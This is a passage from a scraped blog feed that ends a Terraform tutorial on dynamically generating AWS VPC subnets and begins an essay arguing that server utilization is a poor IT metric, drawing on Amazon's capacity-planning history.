&lt;p&gt;Syntax of for loop with condition:&lt;br&gt;
&lt;code&gt;[for item in list: do_something_on(item) if expression]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Our goal is to iterate over the availability zones until we reach the maximum desired number of subnets.&lt;/p&gt;
&lt;h1&gt;
  
  
  Issue #4: Full Solution
&lt;/h1&gt;

&lt;p&gt;And of course, we only need to change the &lt;code&gt;variables.tf&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
    &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;development&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.22"&lt;/span&gt;
        &lt;span class="nx"&gt;qa&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.24"&lt;/span&gt;
        &lt;span class="nx"&gt;staging&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.26"&lt;/span&gt;
        &lt;span class="nx"&gt;production&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.28"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_database_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;
    &lt;span class="nx"&gt;cidr_c_public_subnets&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;

    &lt;span class="nx"&gt;max_private_subnets&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nx"&gt;max_database_subnets&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nx"&gt;max_public_subnets&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;data&lt;/span&gt; &lt;span class="s2"&gt;"aws_availability_zones"&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aws_availability_zones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;available&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;names&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
    &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Options: development, qa, staging, production"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; 
            &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_private_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
            &lt;span class="nx"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;max_private_subnets&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nx"&gt;database_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; 
            &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_database_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
            &lt;span class="nx"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;max_database_subnets&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nx"&gt;public_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt; &lt;span class="nx"&gt;in&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="err"&gt;:&lt;/span&gt; 
            &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_c_public_subnets&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0/24"&lt;/span&gt;
            &lt;span class="nx"&gt;if&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availability_zones&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;az&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;&amp;lt;&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;max_public_subnets&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;Some solution architects might prefer hard-coding the subnets prefixes in the &lt;code&gt;vpc.tf&lt;/code&gt; file, which in most cases will work fine.
The fact that I had only to change the &lt;code&gt;variables .tf&lt;/code&gt; file each time is priceless&lt;/li&gt;
&lt;li&gt;The logic behind the order of variables in &lt;code&gt;variables.tf&lt;/code&gt; file -

&lt;ul&gt;
&lt;li&gt;variables that should be modified, such as:

&lt;ul&gt;
&lt;li&gt;region per environment (map)&lt;/li&gt;
&lt;li&gt;local cidr_c and max_subnets for each type of subnet&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;static variables/data, such as:

&lt;ul&gt;
&lt;li&gt;data "aws_availability_zones" "available"&lt;/li&gt;
&lt;li&gt;local.availability_zones&lt;/li&gt;
&lt;li&gt;local.subnet_list for each type of subnet&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I find that using local values instead of variables is a good approach, and it provides the flexibility I need when designing the infrastructure

&lt;ul&gt;
&lt;li&gt;The only case where we need variables is when we want to prompt for values, for example: &lt;code&gt;var.environment&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Always use local values; they provide the ability to use functions, unlike variables&lt;/li&gt;
&lt;li&gt;I used &lt;code&gt;var.environment&lt;/code&gt; and &lt;code&gt;var.cidr_ab&lt;/code&gt; - but I should've assigned them to local values. I used variables because I wanted to make this tutorial versatile. Remember- local values are the best&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AWS keeps adding availability zones (AZs), so the number of availability zones per region in the examples might be outdated. Be sure to check the current number of AZs

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/about-aws/global-infrastructure/"&gt;AWS Global Infrastructure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html"&gt;Regions and Availability Zones&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Did you like this tutorial? Clap/heart/unicorn and share it with your friends and colleagues.&lt;br&gt;
Didn't you like it? Let me know which parts and I'll take care of it.&lt;/p&gt;

&lt;p&gt;My next article will be about &lt;a href="https://app.terraform.io/session"&gt;Terraform Cloud&lt;/a&gt; and &lt;a href="https://www.terraform.io/docs/state/workspaces.html"&gt;Terraform's Workspaces&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;Originally published at &lt;a href="https://www.prodops.io/blog/terraform-aws-dynamic-subnets"&gt;https://www.prodops.io&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>terraform</category>
      <category>devops</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>“Server Utilization” is a nonsense metric</title>
      <dc:creator>Evgeny Zislis</dc:creator>
      <pubDate>Mon, 09 Sep 2019 14:58:00 +0000</pubDate>
      <link>https://forem.com/prodopsio/server-utilization-is-a-nonsense-metric-2i90</link>
      <guid>https://forem.com/prodopsio/server-utilization-is-a-nonsense-metric-2i90</guid>
      <description>&lt;p&gt;Not surprising that even in 2019, there are still people in IT who think that a single server’s utilization should be a significant measurement, completely forgetting the importance of holistically looking at the system as a whole. This post explains the Systems Thinking way to think about IT, with a pinch of Theory of Constraints understanding of “buffers” added in.&lt;/p&gt;

&lt;p&gt;The story begins with a recent question in our Operation Israel community:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Policy makers in government want to see proven benchmarks comparing open-source (LAMP, Kubernetes) server utilization vs. classic Microsoft Windows based servers (IIS, SQLServer).&lt;/p&gt;

&lt;p&gt;Are there any documents, posts or studies to refer them to?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is great that people in government want to define a policy to improve things. This policy is going to be used for making decisions at various IT branches of government and this policy definition process starts by asking a naive question: &lt;em&gt;“is it better to have a server with IIS and SQLServer or a server with LAMP or maybe even Kubernetes?”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;They are not asking what would enable faster, better, higher quality deliveries to citizens in terms of IT and how to enable it. This policy is focussed around the utilization of servers, and how to choose which technology stack to use to get a “better” result in terms of utilization.&lt;/p&gt;

&lt;p&gt;But is high utilization of servers is “good” and low utilization is “bad”? Or maybe vice-versa?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rdlTDThf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c7149d5f11109288b_1%2A1u2JJSMDNX6TcsLpDKGgrw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rdlTDThf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c7149d5f11109288b_1%2A1u2JJSMDNX6TcsLpDKGgrw.png" alt="Logical reasoning behind the thinking that higher utilization is better." width="678" height="108"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Logical reasoning behind the thinking that higher utilization is better.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I would guess that “waste” in terms of unutilized servers is considered bad, and thus servers that have “higher utilization” are thus considered better.&lt;/p&gt;

&lt;p&gt;It there a fallacy in this logic? Yes, but it depends on what kind of “servers” we are talking about here. Since the opposite of having less waste is not filling up the wasted capacity. But rather reducing waste means having a better fit between the applications (generators of utilization) and the servers.&lt;/p&gt;

&lt;p&gt;How about using smaller fit-for-purpose servers to solve this?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2nDRImAX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c34bd360765e8a92d_1%2A_cN7CFTAPc-7PtMYWFYZ8A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2nDRImAX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c34bd360765e8a92d_1%2A_cN7CFTAPc-7PtMYWFYZ8A.png" alt="Maybe it is the fault of the applications and not the servers." width="678" height="200"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Maybe it is the fault of the applications and not the servers.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So the natural conclusion is that there must be a KPI (performance indicator) that measures the utilization of servers, and when the utilization is very high it also means that the waste is very low — thus an IT policy that defines high utilization as standard makes sense. Because servers are expensive and taxpayer money should not be wasted. Right?&lt;/p&gt;

&lt;h2&gt;
  
  
  Business/Government Outcomes
&lt;/h2&gt;

&lt;p&gt;The government IT systems are serving the citizens in many ways, taxation, benefits, licenses and many more. When these systems are not available or don’t work, I consider that a bad thing. When everything works like it should, even during peak demand and all citizens are provided with quality service I consider it a good thing.&lt;/p&gt;

&lt;p&gt;As more citizens are using these IT systems, the capacity demand of the applications is increased. Thus the servers where the applications are deployed must have ample spare capacity to accommodate the increase in demand. But wait a minute, this means that utilization must not be high!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Q0KnFZ2Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c7288d56bed3eec41_1%2A9TuO8_nztUKWOzj9r0rugw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Q0KnFZ2Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c7288d56bed3eec41_1%2A9TuO8_nztUKWOzj9r0rugw.png" alt="The “Conflict Cloud” of utilizing servers" width="504" height="200"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The “Conflict Cloud” of utilizing servers&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So what should the policy say? Spend as much taxpayer money as possible to keep all systems running with ample spare capacity? Or spend as little taxpayer as possible to get unstable systems that are often broken and are not serving the citizens properly? How to choose a technology stack that enables the maximum utilization of servers or the minimum utilization of servers?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How to choose a technology stack that enables maximum utilization of servers?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Fortunately, we live in a world that this question has been answered already. Not so long ago (10–15 years ago) the demand on applications and servers was mostly non-existent for most companies, with the exception of few very successful ones such as Amazon or Google. Facebook didn’t even exist yet.&lt;/p&gt;

&lt;p&gt;Even back in 2005 in these specific companies, the trouble of wasting a huge amount of unutilized server capacity incurred many millions of dollars of waste. This led Amazon and Google to search for a solution to the problem. And by the way, they were already using mostly Linux as a core component in their technology stack. In 2003 Google invented Borg, the precursor for Kubernetes, and in 2004 Amazon invented Elastic Compute Cloud (EC2) a major service providing compute in Amazon Web Services (AWS).&lt;/p&gt;

&lt;h2&gt;
  
  
  Utility Computing
&lt;/h2&gt;

&lt;p&gt;What exactly was the problem in these companies, and how did they solve it using these new technologies? &lt;a href="https://youtu.be/dxk8b9rSKOo"&gt;Jon Jenkins explains back in 2011&lt;/a&gt; that during a normal month, Amazon.com could have &lt;strong&gt;39%&lt;/strong&gt; spare server capacity just standing idle because of demand fluctuation. Translate that into dollars, it is millions of dollars.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CAh4hQzM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c7288d5e39e3eec3f_1%2Ah6m1eUpyoxp9XX6p8kvTHw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CAh4hQzM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8c7288d5e39e3eec3f_1%2Ah6m1eUpyoxp9XX6p8kvTHw.png" alt="Typical Weekly Traffic to Amazon.com — Jon Jenkins 2011" width="880" height="569"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Typical Weekly Traffic to Amazon.com — &lt;a href="https://www.slideshare.net/AmazonWebServices/closing-keynote-migratingamazoncomtoaws"&gt;Jon Jenkins 2011&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Notice the red line? That is the amount of capacity “reserved”. The number of servers that Amazon.com had to buy and rack in their data-centers in order to have enough capacity to serve the peak demand +15% spare buffer. Arriving at this number is a familiar IT activity called “Capacity Planning”.&lt;/p&gt;

&lt;p&gt;In effect, for Amazon.com it was much worse than this, during the holidays in the month of November. An annual spike in demand required much more spare capacity to be available in order to “protect” the business and allow buyers on Amazon.com buy gifts for their loved ones. There was an astonishing &lt;strong&gt;76% spare server capacity&lt;/strong&gt; sitting there idle and not utilized, just waiting for the spike in demand to arrive.&lt;/p&gt;

&lt;p&gt;What did they do with all those servers during the rest of the year?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YPCwo4TO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8cfc69ffd3c2e1fb8d_1%2AXI-xacy_j3LAYp1TimpBYw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YPCwo4TO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://assets.website-files.com/5ad5cd6cfa9d76ac6aacb916/5d75fe8cfc69ffd3c2e1fb8d_1%2AXI-xacy_j3LAYp1TimpBYw.png" alt="November Traffic for Amazon.com — Jon Jenkins 2011" width="880" height="501"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;November Traffic for Amazon.com — &lt;a href="https://www.slideshare.net/AmazonWebServices/closing-keynote-migratingamazoncomtoaws"&gt;Jon Jenkins 2011&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Capacity planning is the practice of trying to figure out in advance how much capacity is required to allow the application to meet its expected demand. In a traditional IT shop that would determine the number of servers that need to be bought and racked, spending all the money in advance in addition to the waste caused by near-zero utilization for most of that servers’ lifetime.&lt;/p&gt;

&lt;p&gt;There is a circulating rumor that AWS was started because Amazon.com had all this spare capacity sitting there doing nothing. The story goes that a couple of guys were sitting in the control room of a data-center that was powered off after the holidays, and they came up with this idea to sell all of the servers virtually which later became known as AWS EC2.&lt;/p&gt;

&lt;p&gt;The true story is explained by &lt;a href="http://blog.b3k.us/2009/01/25/ec2-origins.html"&gt;Benjamin Black on his blog&lt;/a&gt; in which he writes that Chris Pinkham was constantly pushing them to find better ways to decouple the infrastructure as independent components. And one of the results was this document explaining how to reduce the fine-grained coupling between applications and hardware. A side note in the document mentioned that virtual servers could maybe even be sold to external users which Jeff Bezos approved of and later set Chris to go and create the EC2 team in 2004. According to Jon Jenkins, six years later Amazon.com turned off their last physical server and moved completely onto EC2 for all Amazon computing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Decoupling
&lt;/h2&gt;

&lt;p&gt;The solution to having much higher utilization is hidden in the explanations above. What Jon and Benjamin describe is how they compact and decouple components by making them small and independent. Thus creating the magic that enabled Amazon to move towards using computing as a utility. They called it “Utility Computing” back then, we usually call it “The Cloud” today.&lt;/p&gt;

&lt;p&gt;Breaking down monolithic applications and infrastructure into small components has multiple benefits. It allows innovating and improving each such component independently of others. Improvements in the storage component do not affect improvements in the networking component or in application components.&lt;/p&gt;

&lt;p&gt;Having small independent components also makes it much easier to reuse and create more copies. Which enables the possibility of “horizontal scaling”, having small independent components to scale individually as needed and take as much capacity as it requires out of a much bigger pool of computing capacity available for all.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I call this the “insurance company business model math”. Start with 1,000,000 people who pay $50 insurance each month — it is now possible to fund 1,000 people every year with up to $600,000 insurance claims each. On the other hand, should each person only save their $50 in a safe, it could allow each person to claim only $600/year.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The practice of “horizontal scaling” of independent components enables applications to use less compute capacity overall, each component is relatively small and can live in multi-tenancy with other components on the same physical hardware — the big pool of hardware becomes like the pool of money in an insurance company, much too big for everyone to use all at once. Each component usually is using just a portion, and during peak or high load not all of the components are scaled to their maximum — because usually it is not required. But those components that do scale, have the spare capacity to use.&lt;/p&gt;

&lt;h2&gt;
  
  
  Buffer Management
&lt;/h2&gt;

&lt;p&gt;So now you learned that it is important to keep infrastructure cost low, and at the same time, it is important to keep uptime high. And the way to solve the conflict is using horizontal scaling with many small componentized services.&lt;/p&gt;

&lt;p&gt;But how to actually do it? When to scale up and when to scale down?&lt;/p&gt;

&lt;p&gt;Look at the Amazon.com graph from before, the usage pattern reflects the traffic of the website and is used as a proxy metric to determine how much capacity is required. How should they decide when to scale the capacity?&lt;/p&gt;

&lt;p&gt;When capacity planning is done by humans, as a once-a-year activity just before the budget planning period. Then the planned capacity has to be a fixed number, we require 100 additional servers this year. The IT manager goes with this number to the CFO and explains that without those 100 servers the business is going to get the unfortunate downtime now and again. Everyone understands that the existing 1,000 servers already have so much wasted spare capacity … it is not even funny how pathetic this is. And when the existing servers don’t have spare capacity, then downtime of services is rampant and fire fighting is the norm already. The “Conflict Cloud” is represented and reflected directly on business performance and financials.&lt;/p&gt;

&lt;p&gt;It is also very hard to make the capacity plan anything but a fixed number because racking servers in a data-center takes a lot of time and effort. The servers must be purchased, delivered, racked, provisioned and only then used by applications. Each such step takes weeks or months in traditional IT.&lt;/p&gt;

&lt;p&gt;Even companies that adopt the “Public Cloud” are usually not much better. It just becomes much easier to create additional waste because it takes less time to “buy and provision” a server, usually by a developer who clicks a button. These developers who are now doing all the spending are not controlled by the CFO or budgets at all, causing redundant spend and waste to be rampant.&lt;/p&gt;

&lt;p&gt;When a single application is using a single “big” server, as described in the insurance math example, the pool of capacity for that one application is limited to that server — it cannot horizontally scale. Most of the time this single-server pool of capacity is not being used in full, utilization is low, while uptime is okay. Maybe it is vice-versa, utilization is high and downtime is common, either scenario is not such a great thing to have.&lt;/p&gt;

